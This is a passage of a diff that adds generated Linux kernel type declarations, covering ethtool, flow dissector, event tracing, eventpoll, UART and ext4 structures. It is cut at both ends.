ethtool_c33_pse_ext_substate_error_condition error_condition; + enum ethtool_c33_pse_ext_substate_mr_pse_enable mr_pse_enable; + enum ethtool_c33_pse_ext_substate_option_detect_ted option_detect_ted; + enum ethtool_c33_pse_ext_substate_option_vport_lim option_vport_lim; + enum ethtool_c33_pse_ext_substate_ovld_detected ovld_detected; + enum ethtool_c33_pse_ext_substate_power_not_available power_not_available; + enum ethtool_c33_pse_ext_substate_short_detected short_detected; + u32 __c33_pse_ext_substate; + }; +}; + +struct ethtool_c33_pse_pw_limit_range { + u32 min; + u32 max; +}; + +struct ethtool_cmd { + __u32 cmd; + __u32 supported; + __u32 advertising; + __u16 speed; + __u8 duplex; + __u8 port; + __u8 phy_address; + __u8 transceiver; + __u8 autoneg; + __u8 mdio_support; + __u32 maxtxpkt; + __u32 maxrxpkt; + __u16 speed_hi; + __u8 eth_tp_mdix; + __u8 eth_tp_mdix_ctrl; + __u32 lp_advertising; + __u32 reserved[2]; +}; + +struct ethtool_cmis_cdb { + u8 cmis_rev; + u8 read_write_len_ext; + u16 max_completion_time; +}; + +struct ethtool_cmis_cdb_request { + __be16 id; + union { + struct { + __be16 epl_len; + u8 lpl_len; + u8 chk_code; + u8 resv1; + u8 resv2; + u8 payload[120]; + }; + struct { + __be16 epl_len; + u8 lpl_len; + u8 chk_code; + u8 resv1; + u8 resv2; + u8 payload[120]; + } body; + }; +}; + +struct ethtool_cmis_cdb_cmd_args { + struct ethtool_cmis_cdb_request req; + u16 max_duration; + u8 read_write_len_ext; + u8 msleep_pre_rpl; + u8 rpl_exp_len; + u8 flags; + char *err_msg; +}; + +struct ethtool_cmis_cdb_rpl_hdr { + u8 rpl_len; + u8 rpl_chk_code; +}; + +struct ethtool_cmis_cdb_rpl { + struct ethtool_cmis_cdb_rpl_hdr hdr; + u8 payload[120]; +}; + +struct ethtool_module_fw_flash_params { + __be32 password; + u8 password_valid: 1; +}; + +struct firmware; + +struct ethtool_cmis_fw_update_params { + struct net_device *dev; + struct ethtool_module_fw_flash_params params; + struct ethnl_module_fw_flash_ntf_params ntf_params; + const struct firmware *fw; +}; + +struct ethtool_flash { + __u32 cmd; + __u32 region; + char data[128]; +}; + +struct ethtool_drvinfo { + __u32 cmd; + char driver[32]; + char version[32]; + char fw_version[32]; + char bus_info[32]; + char erom_version[32]; + char reserved2[12]; + __u32 n_priv_flags; + __u32 n_stats; + __u32 testinfo_len; + __u32 eedump_len; + __u32 regdump_len; +}; + +struct ethtool_devlink_compat { + struct devlink *devlink; + union { + struct ethtool_flash efl; + struct ethtool_drvinfo info; + }; +}; + +struct ethtool_dump { + __u32 cmd; + __u32 version; + __u32 flag; + __u32 len; + __u8 data[0]; +}; + +struct ethtool_eee { + __u32 cmd; + __u32 supported; + __u32 advertised; + __u32 lp_advertised; + __u32 eee_active; + __u32 eee_enabled; + __u32 tx_lpi_enabled; + __u32 tx_lpi_timer; + __u32 reserved[2]; +}; + +struct ethtool_eeprom { + __u32 cmd; + __u32 magic; + __u32 offset; + __u32 len; + __u8 data[0]; +}; + +struct ethtool_eth_ctrl_stats { + enum ethtool_mac_stats_src src; + union { + struct { + u64 MACControlFramesTransmitted; + u64 MACControlFramesReceived; + u64 UnsupportedOpcodesReceived; + }; + struct { + u64 MACControlFramesTransmitted; + u64 MACControlFramesReceived; + u64 UnsupportedOpcodesReceived; + } stats; + }; +}; + +struct ethtool_eth_mac_stats { + enum ethtool_mac_stats_src src; + union { + struct { + u64 FramesTransmittedOK; + u64 SingleCollisionFrames; + u64 MultipleCollisionFrames; + u64 FramesReceivedOK; + u64 FrameCheckSequenceErrors; + u64 AlignmentErrors; + u64 OctetsTransmittedOK; + u64 FramesWithDeferredXmissions; + u64 LateCollisions; + u64 FramesAbortedDueToXSColls; + u64 FramesLostDueToIntMACXmitError; + u64 CarrierSenseErrors; + u64 OctetsReceivedOK; + u64 FramesLostDueToIntMACRcvError; + u64 MulticastFramesXmittedOK; + u64 BroadcastFramesXmittedOK; + u64 FramesWithExcessiveDeferral; + u64 MulticastFramesReceivedOK; + u64 BroadcastFramesReceivedOK; + u64 InRangeLengthErrors; + u64 OutOfRangeLengthField; + u64 FrameTooLongErrors; + }; + struct { + u64 FramesTransmittedOK; + u64 SingleCollisionFrames; + u64 MultipleCollisionFrames; + u64 FramesReceivedOK; + u64 FrameCheckSequenceErrors; + u64 AlignmentErrors; + u64 OctetsTransmittedOK; + u64 FramesWithDeferredXmissions; + u64 LateCollisions; + u64 FramesAbortedDueToXSColls; + u64 FramesLostDueToIntMACXmitError; + u64 CarrierSenseErrors; + u64 OctetsReceivedOK; + u64 FramesLostDueToIntMACRcvError; + u64 MulticastFramesXmittedOK; + u64 BroadcastFramesXmittedOK; + u64 FramesWithExcessiveDeferral; + u64 MulticastFramesReceivedOK; + u64 BroadcastFramesReceivedOK; + u64 InRangeLengthErrors; + u64 OutOfRangeLengthField; + u64 FrameTooLongErrors; + } stats; + }; +}; + +struct ethtool_eth_phy_stats { + enum ethtool_mac_stats_src src; + union { + struct { + u64 SymbolErrorDuringCarrier; + }; + struct { + u64 SymbolErrorDuringCarrier; + } stats; + }; +}; + +struct ethtool_fec_stat { + u64 total; + u64 lanes[8]; +}; + +struct ethtool_fec_stats { + struct ethtool_fec_stat corrected_blocks; + struct ethtool_fec_stat uncorrectable_blocks; + struct ethtool_fec_stat corrected_bits; +}; + +struct ethtool_fecparam { + __u32 cmd; + __u32 active_fec; + __u32 fec; + __u32 reserved; +}; + +struct ethtool_flow_ext { + __u8 padding[2]; + unsigned char h_dest[6]; + __be16 vlan_etype; + __be16 vlan_tci; + __be32 data[2]; +}; + +struct ethtool_tcpip4_spec { + __be32 ip4src; + __be32 ip4dst; + __be16 psrc; + __be16 pdst; + __u8 tos; +}; + +struct ethtool_usrip4_spec { + __be32 ip4src; + __be32 ip4dst; + __be32 l4_4_bytes; + __u8 tos; + __u8 ip_ver; + __u8 proto; +}; + +struct ethtool_tcpip6_spec { + __be32 ip6src[4]; + __be32 ip6dst[4]; + __be16 psrc; + __be16 pdst; + __u8 tclass; +}; + +struct ethtool_usrip6_spec { + __be32 ip6src[4]; + __be32 ip6dst[4]; + __be32 l4_4_bytes; + __u8 tclass; + __u8 l4_proto; +}; + +union ethtool_flow_union { + struct ethtool_tcpip4_spec tcp_ip4_spec; + struct ethtool_tcpip4_spec udp_ip4_spec; + struct ethtool_tcpip4_spec sctp_ip4_spec; + struct ethtool_ah_espip4_spec ah_ip4_spec; + struct ethtool_ah_espip4_spec esp_ip4_spec; + struct ethtool_usrip4_spec usr_ip4_spec; + struct ethtool_tcpip6_spec tcp_ip6_spec; + struct ethtool_tcpip6_spec udp_ip6_spec; + struct ethtool_tcpip6_spec sctp_ip6_spec; + struct ethtool_ah_espip6_spec ah_ip6_spec; + struct ethtool_ah_espip6_spec esp_ip6_spec; + struct ethtool_usrip6_spec usr_ip6_spec; + struct ethhdr ether_spec; + __u8 hdata[52]; +}; + +struct ethtool_forced_speed_map { + u32 speed; + unsigned long caps[2]; + const u32 *cap_arr; + u32 arr_size; +}; + +struct ethtool_get_features_block { + __u32 available; + __u32 requested; + __u32 active; + __u32 never_changed; +}; + +struct ethtool_gfeatures { + __u32 cmd; + __u32 size; + struct ethtool_get_features_block features[0]; +}; + +struct ethtool_gstrings { + __u32 cmd; + __u32 string_set; + __u32 len; + __u8 data[0]; +}; + +struct ethtool_link_ext_state_info { + enum ethtool_link_ext_state link_ext_state; + union { + enum ethtool_link_ext_substate_autoneg autoneg; + enum ethtool_link_ext_substate_link_training link_training; + enum ethtool_link_ext_substate_link_logical_mismatch link_logical_mismatch; + enum ethtool_link_ext_substate_bad_signal_integrity bad_signal_integrity; + enum ethtool_link_ext_substate_cable_issue cable_issue; + enum ethtool_link_ext_substate_module module; + u32 __link_ext_substate; + }; +}; + +struct ethtool_link_ext_stats { + u64 link_down_events; +}; + +struct ethtool_link_settings { + __u32 cmd; + __u32 speed; + __u8 duplex; + __u8 port; + __u8 phy_address; + __u8 autoneg; + __u8 mdio_support; + __u8 eth_tp_mdix; + __u8 eth_tp_mdix_ctrl; + __s8 link_mode_masks_nwords; + __u8 transceiver; + __u8 master_slave_cfg; + __u8 master_slave_state; + __u8 rate_matching; + __u32 reserved[7]; + __u32 link_mode_masks[0]; +}; + +struct ethtool_link_ksettings { + struct ethtool_link_settings base; + struct { + unsigned long supported[2]; + unsigned long advertising[2]; + unsigned long lp_advertising[2]; + } link_modes; + u32 lanes; +}; + +struct ethtool_link_usettings { + struct ethtool_link_settings base; + struct { + __u32 supported[4]; + __u32 advertising[4]; + __u32 lp_advertising[4]; + } link_modes; +}; + +struct ethtool_mm_cfg { + u32 verify_time; + bool verify_enabled; + bool tx_enabled; + bool pmac_enabled; + u32 tx_min_frag_size; +}; + +struct ethtool_mm_state { + u32 verify_time; + u32 max_verify_time; + enum ethtool_mm_verify_status verify_status; + bool tx_enabled; + bool tx_active; + bool pmac_enabled; + bool verify_enabled; + u32 tx_min_frag_size; + u32 rx_min_frag_size; +}; + +struct ethtool_mm_stats { + u64 MACMergeFrameAssErrorCount; + u64 MACMergeFrameSmdErrorCount; + u64 MACMergeFrameAssOkCount; + u64 MACMergeFragCountRx; + u64 MACMergeFragCountTx; + u64 MACMergeHoldCount; +}; + +struct ethtool_modinfo { + __u32 cmd; + __u32 type; + __u32 eeprom_len; + __u32 reserved[8]; +}; + +struct ethtool_module_eeprom { + u32 offset; + u32 length; + u8 page; + u8 bank; + u8 i2c_address; + u8 *data; +}; + +struct ethtool_module_fw_flash { + struct list_head list; + netdevice_tracker dev_tracker; + struct work_struct work; + struct ethtool_cmis_fw_update_params fw_update; +}; + +struct ethtool_module_power_mode_params { + enum ethtool_module_power_mode_policy policy; + enum ethtool_module_power_mode mode; +}; + +struct ethtool_netdev_state { + struct xarray rss_ctx; + struct mutex rss_lock; + unsigned int wol_enabled: 1; + unsigned int module_fw_flash_in_progress: 1; +}; + +struct ethtool_regs; + +struct ethtool_wolinfo; + +struct ethtool_ringparam; + +struct kernel_ethtool_ringparam; + +struct ethtool_pause_stats; + +struct ethtool_pauseparam; + +struct ethtool_test; + +struct ethtool_stats; + +struct ethtool_rxnfc; + +struct ethtool_rxfh_param; + +struct ethtool_rxfh_context; + +struct kernel_ethtool_ts_info; + +struct ethtool_ts_stats; + +struct ethtool_tunable; + +struct ethtool_rmon_stats; + +struct ethtool_rmon_hist_range; + +struct ethtool_ops { + u32 cap_link_lanes_supported: 1; + u32 cap_rss_ctx_supported: 1; + u32 cap_rss_sym_xor_supported: 1; + u32 rxfh_per_ctx_key: 1; + u32 rxfh_indir_space; + u16 rxfh_key_space; + u16 rxfh_priv_size; + u32 rxfh_max_num_contexts; + u32 supported_coalesce_params; + u32 supported_ring_params; + void (*get_drvinfo)(struct net_device *, struct ethtool_drvinfo *); + int (*get_regs_len)(struct net_device *); + void (*get_regs)(struct net_device *, struct ethtool_regs *, void *); + void (*get_wol)(struct net_device *, struct ethtool_wolinfo *); + int (*set_wol)(struct net_device *, struct ethtool_wolinfo *); + u32 (*get_msglevel)(struct net_device *); + void (*set_msglevel)(struct net_device *, u32); + int (*nway_reset)(struct net_device *); + u32 (*get_link)(struct net_device *); + int (*get_link_ext_state)(struct net_device *, struct ethtool_link_ext_state_info *); + void (*get_link_ext_stats)(struct net_device *, struct ethtool_link_ext_stats *); + int (*get_eeprom_len)(struct net_device *); + int (*get_eeprom)(struct net_device *, struct ethtool_eeprom *, u8 *); + int (*set_eeprom)(struct net_device *, struct ethtool_eeprom *, u8 *); + int (*get_coalesce)(struct net_device *, struct ethtool_coalesce *, struct kernel_ethtool_coalesce *, struct netlink_ext_ack *); + int (*set_coalesce)(struct net_device *, struct ethtool_coalesce *, struct kernel_ethtool_coalesce *, struct netlink_ext_ack *); + void (*get_ringparam)(struct net_device *, struct ethtool_ringparam *, struct kernel_ethtool_ringparam *, struct netlink_ext_ack *); + int (*set_ringparam)(struct net_device *, struct ethtool_ringparam *, struct kernel_ethtool_ringparam *, struct netlink_ext_ack *); + void (*get_pause_stats)(struct net_device *, struct ethtool_pause_stats *); + void (*get_pauseparam)(struct net_device *, struct ethtool_pauseparam *); + int (*set_pauseparam)(struct net_device *, struct ethtool_pauseparam *); + void (*self_test)(struct net_device *, struct ethtool_test *, u64 *); + void (*get_strings)(struct net_device *, u32, u8 *); + int (*set_phys_id)(struct net_device *, enum ethtool_phys_id_state); + void (*get_ethtool_stats)(struct net_device *, struct ethtool_stats *, u64 *); + int (*begin)(struct net_device *); + void (*complete)(struct net_device *); + u32 (*get_priv_flags)(struct net_device *); + int (*set_priv_flags)(struct net_device *, u32); + int (*get_sset_count)(struct net_device *, int); + int (*get_rxnfc)(struct net_device *, struct ethtool_rxnfc *, u32 *); + int (*set_rxnfc)(struct net_device *, struct ethtool_rxnfc *); + int (*flash_device)(struct net_device *, struct ethtool_flash *); + int (*reset)(struct net_device *, u32 *); + u32 (*get_rxfh_key_size)(struct net_device *); + u32 (*get_rxfh_indir_size)(struct net_device *); + int (*get_rxfh)(struct net_device *, struct ethtool_rxfh_param *); + int (*set_rxfh)(struct net_device *, struct ethtool_rxfh_param *, struct netlink_ext_ack *); + int (*create_rxfh_context)(struct net_device *, struct ethtool_rxfh_context *, const struct ethtool_rxfh_param *, struct netlink_ext_ack *); + int (*modify_rxfh_context)(struct net_device *, struct ethtool_rxfh_context *, const struct ethtool_rxfh_param *, struct netlink_ext_ack *); + int (*remove_rxfh_context)(struct net_device *, struct ethtool_rxfh_context *, u32, struct netlink_ext_ack *); + void (*get_channels)(struct net_device *, struct ethtool_channels *); + int (*set_channels)(struct net_device *, struct ethtool_channels *); + int (*get_dump_flag)(struct net_device *, struct ethtool_dump *); + int (*get_dump_data)(struct net_device *, struct ethtool_dump *, void *); + int (*set_dump)(struct net_device *, struct ethtool_dump *); + int (*get_ts_info)(struct net_device *, struct kernel_ethtool_ts_info *); + void (*get_ts_stats)(struct net_device *, struct ethtool_ts_stats *); + int (*get_module_info)(struct net_device *, struct ethtool_modinfo *); + int (*get_module_eeprom)(struct net_device *, struct ethtool_eeprom *, u8 *); + int (*get_eee)(struct net_device *, struct ethtool_keee *); + int (*set_eee)(struct net_device *, struct ethtool_keee *); + int (*get_tunable)(struct net_device *, const struct ethtool_tunable *, void *); + int (*set_tunable)(struct net_device *, const struct ethtool_tunable *, const void *); + int (*get_per_queue_coalesce)(struct net_device *, u32, struct ethtool_coalesce *); + int (*set_per_queue_coalesce)(struct net_device *, u32, struct ethtool_coalesce *); + int (*get_link_ksettings)(struct net_device *, struct ethtool_link_ksettings *); + int (*set_link_ksettings)(struct net_device *, const struct ethtool_link_ksettings *); + void (*get_fec_stats)(struct net_device *, struct ethtool_fec_stats *); + int (*get_fecparam)(struct net_device *, struct ethtool_fecparam *); + int (*set_fecparam)(struct net_device *, struct ethtool_fecparam *); + void (*get_ethtool_phy_stats)(struct net_device *, struct ethtool_stats *, u64 *); + int (*get_phy_tunable)(struct net_device *, const struct ethtool_tunable *, void *); + int (*set_phy_tunable)(struct net_device *, const struct ethtool_tunable *, const void *); + int (*get_module_eeprom_by_page)(struct net_device *, const struct ethtool_module_eeprom *, struct netlink_ext_ack *); + int (*set_module_eeprom_by_page)(struct net_device *, const struct ethtool_module_eeprom *, struct netlink_ext_ack *); + void (*get_eth_phy_stats)(struct net_device *, struct ethtool_eth_phy_stats *); + void (*get_eth_mac_stats)(struct net_device *, struct ethtool_eth_mac_stats *); + void (*get_eth_ctrl_stats)(struct net_device *, struct ethtool_eth_ctrl_stats *); + void (*get_rmon_stats)(struct net_device *, struct ethtool_rmon_stats *, const struct ethtool_rmon_hist_range **); + int (*get_module_power_mode)(struct net_device *, struct ethtool_module_power_mode_params *, struct netlink_ext_ack *); + int (*set_module_power_mode)(struct net_device *, const struct ethtool_module_power_mode_params *, struct netlink_ext_ack *); + int (*get_mm)(struct net_device *, struct ethtool_mm_state *); + int (*set_mm)(struct net_device *, struct ethtool_mm_cfg *, struct netlink_ext_ack *); + void (*get_mm_stats)(struct net_device *, struct ethtool_mm_stats *); +}; + +struct ethtool_pause_stats { + enum ethtool_mac_stats_src src; + union { + struct { + u64 tx_pause_frames; + u64 rx_pause_frames; + }; + struct { + u64 tx_pause_frames; + u64 rx_pause_frames; + } stats; + }; +}; + +struct ethtool_pauseparam { + __u32 cmd; + __u32 autoneg; + __u32 rx_pause; + __u32 tx_pause; +}; + +struct ethtool_per_queue_op { + __u32 cmd; + __u32 sub_command; + __u32 queue_mask[128]; + char data[0]; +}; + +struct ethtool_perm_addr { + __u32 cmd; + __u32 size; + __u8 data[0]; +}; + +struct phy_device; + +struct phy_plca_cfg; + +struct phy_plca_status; + +struct phy_tdr_config; + +struct ethtool_phy_ops { + int (*get_sset_count)(struct phy_device *); + int (*get_strings)(struct phy_device *, u8 *); + int (*get_stats)(struct phy_device *, struct ethtool_stats *, u64 *); + int (*get_plca_cfg)(struct phy_device *, struct phy_plca_cfg *); + int (*set_plca_cfg)(struct phy_device *, const struct phy_plca_cfg *, struct netlink_ext_ack *); + int (*get_plca_status)(struct phy_device *, struct phy_plca_status *); + int (*start_cable_test)(struct phy_device *, struct netlink_ext_ack *); + int (*start_cable_test_tdr)(struct phy_device *, struct netlink_ext_ack *, const struct phy_tdr_config *); +}; + +struct ethtool_regs { + __u32 cmd; + __u32 version; + __u32 len; + __u8 data[0]; +}; + +struct ethtool_ringparam { + __u32 cmd; + __u32 rx_max_pending; + __u32 rx_mini_max_pending; + __u32 rx_jumbo_max_pending; + __u32 tx_max_pending; + __u32 rx_pending; + __u32 rx_mini_pending; + __u32 rx_jumbo_pending; + __u32 tx_pending; +}; + +struct ethtool_rmon_hist_range { + u16 low; + u16 high; +}; + +struct ethtool_rmon_stats { + enum ethtool_mac_stats_src src; + union { + struct { + u64 undersize_pkts; + u64 oversize_pkts; + u64 fragments; + u64 jabbers; + u64 hist[10]; + u64 hist_tx[10]; + }; + struct { + u64 undersize_pkts; + u64 oversize_pkts; + u64 fragments; + u64 jabbers; + u64 hist[10]; + u64 hist_tx[10]; + } stats; + }; +}; + +struct flow_dissector_key_basic { + __be16 n_proto; + u8 ip_proto; + u8 padding; +}; + +struct flow_dissector_key_ipv4_addrs { + __be32 src; + __be32 dst; +}; + +struct flow_dissector_key_ipv6_addrs { + struct in6_addr src; + struct in6_addr dst; +}; + +struct flow_dissector_key_ports { + union { + __be32 ports; + struct { + __be16 src; + __be16 dst; + }; + }; +}; + +struct flow_dissector_key_ip { + __u8 tos; + __u8 ttl; +}; + +struct flow_dissector_key_vlan { + union { + struct { + u16 vlan_id: 12; + u16 vlan_dei: 1; + u16 vlan_priority: 3; + }; + __be16 vlan_tci; + }; + __be16 vlan_tpid; + __be16 vlan_eth_type; + u16 padding; +}; + +struct flow_dissector_key_eth_addrs { + unsigned char dst[6]; + unsigned char src[6]; +}; + +struct ethtool_rx_flow_key { + struct flow_dissector_key_basic basic; + union { + struct flow_dissector_key_ipv4_addrs ipv4; + struct flow_dissector_key_ipv6_addrs ipv6; + }; + struct flow_dissector_key_ports tp; + struct flow_dissector_key_ip ip; + struct flow_dissector_key_vlan vlan; + struct flow_dissector_key_eth_addrs eth_addrs; +}; + +struct flow_dissector { + unsigned long long used_keys; + unsigned short offset[33]; +}; + +struct ethtool_rx_flow_match { + struct flow_dissector dissector; + struct ethtool_rx_flow_key key; + struct ethtool_rx_flow_key mask; +}; + +struct flow_rule; + +struct ethtool_rx_flow_rule { + struct flow_rule *rule; + unsigned long priv[0]; +}; + +struct ethtool_rx_flow_spec { + __u32 flow_type; + union ethtool_flow_union h_u; + struct ethtool_flow_ext h_ext; + union ethtool_flow_union m_u; + struct ethtool_flow_ext m_ext; + __u64 ring_cookie; + __u32 location; +}; + +struct ethtool_rx_flow_spec_input { + const struct ethtool_rx_flow_spec *fs; + u32 rss_ctx; +}; + +struct ethtool_rxfh { + __u32 cmd; + __u32 rss_context; + __u32 indir_size; + __u32 key_size; + __u8 hfunc; + __u8 input_xfrm; + __u8 rsvd8[2]; + __u32 rsvd32; + __u32 rss_config[0]; +}; + +struct ethtool_rxfh_context { + u32 indir_size; + u32 key_size; + u16 priv_size; + u8 hfunc; + u8 input_xfrm; + u8 indir_configured: 1; + u8 key_configured: 1; + u32 key_off; + long: 0; + u8 data[0]; +}; + +struct ethtool_rxfh_param { + u8 hfunc; + u32 indir_size; + u32 *indir; + u32 key_size; + u8 *key; + u32 rss_context; + u8 rss_delete; + u8 input_xfrm; +}; + +struct ethtool_rxnfc { + __u32 cmd; + __u32 flow_type; + __u64 data; + struct ethtool_rx_flow_spec fs; + union { + __u32 rule_cnt; + __u32 rss_context; + }; + __u32 rule_locs[0]; +}; + +struct ethtool_set_features_block { + __u32 valid; + __u32 requested; +}; + +struct ethtool_sfeatures { + __u32 cmd; + __u32 size; + struct ethtool_set_features_block features[0]; +}; + +struct ethtool_sset_info { + __u32 cmd; + __u32 reserved; + __u64 sset_mask; + __u32 data[0]; +}; + +struct ethtool_stats { + __u32 cmd; + __u32 n_stats; + __u64 data[0]; +}; + +struct ethtool_test { + __u32 cmd; + __u32 flags; + __u32 reserved; + __u32 len; + __u64 data[0]; +}; + +struct ethtool_ts_info { + __u32 cmd; + __u32 so_timestamping; + __s32 phc_index; + __u32 tx_types; + __u32 tx_reserved[3]; + __u32 rx_filters; + __u32 rx_reserved[3]; +}; + +struct ethtool_ts_stats { + union { + struct { + u64 pkts; + u64 lost; + u64 err; + }; + struct { + u64 pkts; + u64 lost; + u64 err; + } tx_stats; + }; +}; + +struct ethtool_tunable { + __u32 cmd; + __u32 id; + __u32 type_id; + __u32 len; + void *data[0]; +}; + +struct ethtool_value { + __u32 cmd; + __u32 data; +}; + +struct ethtool_wolinfo { + __u32 cmd; + __u32 supported; + __u32 wolopts; + __u8 sopass[6]; +}; + +struct event_trigger_data; + +struct event_trigger_ops; + +struct event_command { + struct list_head list; + char *name; + enum event_trigger_type trigger_type; + int flags; + int (*parse)(struct event_command *, struct trace_event_file *, char *, char *, char *); + int (*reg)(char *, struct event_trigger_data *, struct trace_event_file *); + void (*unreg)(char *, struct event_trigger_data *, struct trace_event_file *); + void (*unreg_all)(struct trace_event_file *); + int (*set_filter)(char *, struct event_trigger_data *, struct trace_event_file *); + struct event_trigger_ops * (*get_trigger_ops)(char *, char *); +}; + +struct event_counter { + u32 count; + u32 flags; +}; + +struct event_file_link { + struct trace_event_file *file; + struct list_head list; +}; + +struct prog_entry; + +struct event_filter { + struct prog_entry __attribute__((btf_type_tag("rcu"))) *prog; + char *filter_string; +}; + +struct perf_cpu_context; + +struct perf_event_context; + +typedef void (*event_f)(struct perf_event *, struct perf_cpu_context *, struct perf_event_context *, void *); + +struct event_function_struct { + struct perf_event *event; + event_f func; + void *data; +}; + +struct event_probe_data { + struct trace_event_file *file; + unsigned long count; + int ref; + bool enable; +}; + +struct event_subsystem { + struct list_head list; + const char *name; + struct event_filter *filter; + int ref_count; +}; + +struct event_trigger_data { + unsigned long count; + int ref; + int flags; + struct event_trigger_ops *ops; + struct event_command *cmd_ops; + struct event_filter __attribute__((btf_type_tag("rcu"))) *filter; + char *filter_str; + void *private_data; + bool paused; + bool paused_tmp; + struct list_head list; + char *name; + struct list_head named_list; + struct event_trigger_data *named_data; +}; + +struct event_trigger_ops { + void (*trigger)(struct event_trigger_data *, struct trace_buffer *, void *, struct ring_buffer_event *); + int (*init)(struct event_trigger_data *); + void (*free)(struct event_trigger_data *); + int (*print)(struct seq_file *, struct event_trigger_data *); +}; + +struct eventfd_ctx { + struct kref kref; + wait_queue_head_t wqh; + __u64 count; + unsigned int flags; + int id; +}; + +struct eventfs_attr { + int mode; + kuid_t uid; + kgid_t gid; +}; + +typedef int (*eventfs_callback)(const char *, umode_t *, void **, const struct file_operations **); + +typedef void (*eventfs_release)(const char *, void *); + +struct eventfs_entry { + const char *name; + eventfs_callback callback; + eventfs_release release; +}; + +struct eventfs_inode { + union { + struct list_head list; + struct callback_head rcu; + }; + struct list_head children; + const struct eventfs_entry *entries; + const char *name; + struct eventfs_attr *entry_attrs; + void *data; + struct eventfs_attr attr; + struct kref kref; + unsigned int is_freed: 1; + unsigned int is_events: 1; + unsigned int nr_entries: 30; + unsigned int ino; +}; + +struct eventfs_root_inode { + struct eventfs_inode ei; + struct dentry *events_dir; +}; + +struct eventpoll { + struct mutex mtx; + wait_queue_head_t wq; + wait_queue_head_t poll_wait; + struct list_head rdllist; + rwlock_t lock; + struct rb_root_cached rbr; + struct epitem *ovflist; + struct wakeup_source *ws; + struct user_struct *user; + struct file *file; + u64 gen; + struct hlist_head refs; + refcount_t refcount; + unsigned int napi_id; + u32 busy_poll_usecs; + u16 busy_poll_budget; + bool prefer_busy_poll; + u8 nests; +}; + +struct ewma_avg_signal { + unsigned long internal; +}; + +struct ewma_beacon_signal { + unsigned long internal; +}; + +struct ewma_evm { + unsigned long internal; +}; + +struct ewma_pkt_len { + unsigned long internal; +}; + +struct ewma_rate { + unsigned long internal; +}; + +struct ewma_rssi { + unsigned long internal; +}; + +struct ewma_signal { + unsigned long internal; +}; + +struct ewma_snr { + unsigned long internal; +}; + +struct ewma_thermal { + unsigned long internal; +}; + +struct ewma_tp { + unsigned long internal; +}; + +struct exar8250_board; + +struct exar8250 { + unsigned int nr; + unsigned int osc_freq; + struct exar8250_board *board; + void *virt; + int line[0]; +}; + +struct exar8250_board { + unsigned int num_ports; + unsigned int reg_shift; + int (*setup)(struct exar8250 *, struct pci_dev *, struct uart_8250_port *, int); + void (*exit)(struct pci_dev *); +}; + +struct exar8250_platform { + int (*rs485_config)(struct uart_port *, struct ktermios *, struct serial_rs485 *); + const struct serial_rs485 *rs485_supported; + int (*register_gpio)(struct pci_dev *, struct uart_8250_port *); + void (*unregister_gpio)(struct uart_8250_port *); +}; + +struct exception_stacks { + char DF_stack_guard[0]; + char DF_stack[8192]; + char NMI_stack_guard[0]; + char NMI_stack[8192]; + char DB_stack_guard[0]; + char DB_stack[8192]; + char MCE_stack_guard[0]; + char MCE_stack[8192]; + char VC_stack_guard[0]; + char VC_stack[0]; + char VC2_stack_guard[0]; + char VC2_stack[0]; + char IST_top_guard[0]; +}; + +struct exception_table_entry { + int insn; + int fixup; + int data; +}; + +struct execmem_range { + unsigned long start; + unsigned long end; + unsigned long fallback_start; + unsigned long fallback_end; + pgprot_t pgprot; + unsigned int alignment; + enum execmem_range_flags flags; +}; + +struct execmem_info { + struct execmem_range ranges[5]; +}; + +struct execute_work { + struct work_struct work; +}; + +struct fid; + +struct iomap; + +struct iattr; + +struct export_operations { + int (*encode_fh)(struct inode *, __u32 *, int *, struct inode *); + struct dentry * (*fh_to_dentry)(struct super_block *, struct fid *, int, int); + struct dentry * (*fh_to_parent)(struct super_block *, struct fid *, int, int); + int (*get_name)(struct dentry *, char *, struct dentry *); + struct dentry * (*get_parent)(struct dentry *); + int (*commit_metadata)(struct inode *); + int (*get_uuid)(struct super_block *, u8 *, u32 *, u64 *); + int (*map_blocks)(struct inode *, loff_t, u64, struct iomap *, bool, u32 *); + int (*commit_blocks)(struct inode *, struct iomap *, int, struct iattr *); + unsigned long flags; +}; + +struct ext4_free_extent { + ext4_lblk_t fe_logical; + ext4_grpblk_t fe_start; + ext4_group_t fe_group; + ext4_grpblk_t fe_len; +}; + +struct ext4_prealloc_space; + +struct ext4_locality_group; + +struct ext4_allocation_context { + struct inode *ac_inode; + struct super_block *ac_sb; + struct ext4_free_extent ac_o_ex; + struct ext4_free_extent ac_g_ex; + struct ext4_free_extent ac_b_ex; + struct ext4_free_extent ac_f_ex; + ext4_grpblk_t ac_orig_goal_len; + __u32 ac_flags; + __u32 ac_groups_linear_remaining; + __u16 ac_groups_scanned; + __u16 ac_found; + __u16 ac_cX_found[5]; + __u16 ac_tail; + __u16 ac_buddy; + __u8 ac_status; + __u8 ac_criteria; + __u8 ac_2order; + __u8 ac_op; + struct folio *ac_bitmap_folio; + struct folio *ac_buddy_folio; + struct ext4_prealloc_space *ac_pa; + struct ext4_locality_group *ac_lg; +}; + +struct ext4_allocation_request { + struct inode *inode; + unsigned int len; + ext4_lblk_t logical; + ext4_lblk_t lleft; + ext4_lblk_t lright; + ext4_fsblk_t goal; + ext4_fsblk_t pleft; + ext4_fsblk_t pright; + unsigned int flags; +}; + +struct ext4_attr { + struct attribute attr; + short attr_id; + short attr_ptr; + unsigned short attr_size; + union { + int offset; + void *explicit_ptr; + } u; +}; + +struct ext4_group_info; + +struct ext4_buddy { + struct folio *bd_buddy_folio; + void *bd_buddy; + struct folio *bd_bitmap_folio; + void *bd_bitmap; + struct ext4_group_info *bd_info; + struct super_block *bd_sb; + __u16 bd_blkbits; + ext4_group_t bd_group; +}; + +struct ext4_dir_entry { + __le32 inode; + __le16 rec_len; + __le16 name_len; + char name[255]; +}; + +struct ext4_dir_entry_2 { + __le32 inode; + __le16 rec_len; + __u8 name_len; + __u8 file_type; + char name[255]; +}; + +struct ext4_dir_entry_hash { + __le32 hash; + __le32 minor_hash; +}; + +struct ext4_dir_entry_tail { + __le32 det_reserved_zero1; + __le16 det_rec_len; + __u8 det_reserved_zero2; + __u8 det_reserved_ft; + __le32 det_checksum; +}; + +struct ext4_err_translation { + int code; + int errno; +}; + +struct ext4_es_stats { + unsigned long es_stats_shrunk; + struct percpu_counter es_stats_cache_hits; + struct percpu_counter es_stats_cache_misses; + u64 es_stats_scan_time; + u64 es_stats_max_scan_time; + struct percpu_counter es_stats_all_cnt; + struct percpu_counter es_stats_shk_cnt; +}; + +struct extent_status; + +struct ext4_es_tree { + struct rb_root root; + struct extent_status *cache_es; +}; + +struct ext4_extent; + +struct ext4_extent_idx; + +struct ext4_extent_header; + +struct ext4_ext_path { + 